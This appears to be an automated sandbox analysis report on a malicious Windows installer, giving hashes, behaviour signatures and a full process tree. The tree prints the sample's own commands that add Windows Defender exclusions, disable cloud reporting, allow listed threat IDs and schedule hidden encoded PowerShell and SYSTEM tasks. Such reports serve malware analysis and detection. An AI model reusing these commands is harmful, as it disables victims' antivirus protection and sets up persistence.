Analysis

  • max time kernel
    93s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2023 20:12

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    ad8bf30d0f862756731909ec535d2145

  • SHA1

    65dbe6948e2af2c617772c6bd97f9c01d433eee7

  • SHA256

    fa83e6a69787cb5d3a59301bd0913bd0cbaf222c975292f659dec2fd5ddb25d1

  • SHA512

    4e1d358a8c39eac62e173b2b0eaee19abf76ceba85027f84443a3b3a96b249d5beba29f3caa09407535d2ed33f67e7bdbd70e7f0ffdaf7cbd5f0c6d92eaacaf3

  • SSDEEP

    196608:91OubmQlOuJCY+MfS6cYaeLy3nMS992Dt2iZKRWo4t:3OEdlLJrrtaJ3MSXot2OKczt

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Users\Admin\AppData\Local\Temp\7zS77D4.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3676
      • C:\Users\Admin\AppData\Local\Temp\7zS7EBA.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1872
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4620
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1208
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:4332
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:3540
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3080
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1460
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:4524
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:3968
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gDyBhRSJF" /SC once /ST 03:33:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:232
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gDyBhRSJF"
                  4⤵
                    PID:4308
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gDyBhRSJF"
                    4⤵
                      PID:1432
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "boytPmuAkKgmiEZYSe" /SC once /ST 21:13:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\ViDsktp.exe\" X6 /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:3316
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1904
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:4752
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                  1⤵
                    PID:4360
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:1468
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:3748
                      • C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\ViDsktp.exe
                        C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\lPAIFilFZOpRFIX\ViDsktp.exe X6 /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:1760
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:1116
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1544
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:4620
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:2708
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4552
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:208
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:2096
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:216
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4356
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3776
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:992
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2188
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:1088
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:3788
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4108
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:4672
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3476
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:1904
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:580
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4776
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:4228
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:4516
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:4604
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:2196
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:1800
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:3408
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OKneYAAzclQU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\OKneYAAzclQU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\eCbNXTSQanJlC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\eCbNXTSQanJlC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vcfECUarZbUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vcfECUarZbUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wRLQelouU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\wRLQelouU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WoychCUlhHkYXpVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WoychCUlhHkYXpVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\UIFvrSrxAzeYKEuX\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\UIFvrSrxAzeYKEuX\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:3824
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:3548
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:3584
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OKneYAAzclQU2" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:808
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:2508
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:3732
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:3460
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eCbNXTSQanJlC" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:2568
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4116
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vcfECUarZbUn" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1532
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:4352
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\wRLQelouU" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4848
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WoychCUlhHkYXpVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4880
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WoychCUlhHkYXpVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4280
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:3252
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:2348
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\UIFvrSrxAzeYKEuX /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:3952
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\UIFvrSrxAzeYKEuX /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:428
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gvFYEdyWd" /SC once /ST 13:43:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:1852
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn "gvFYEdyWd"
                                                                                                            2⤵
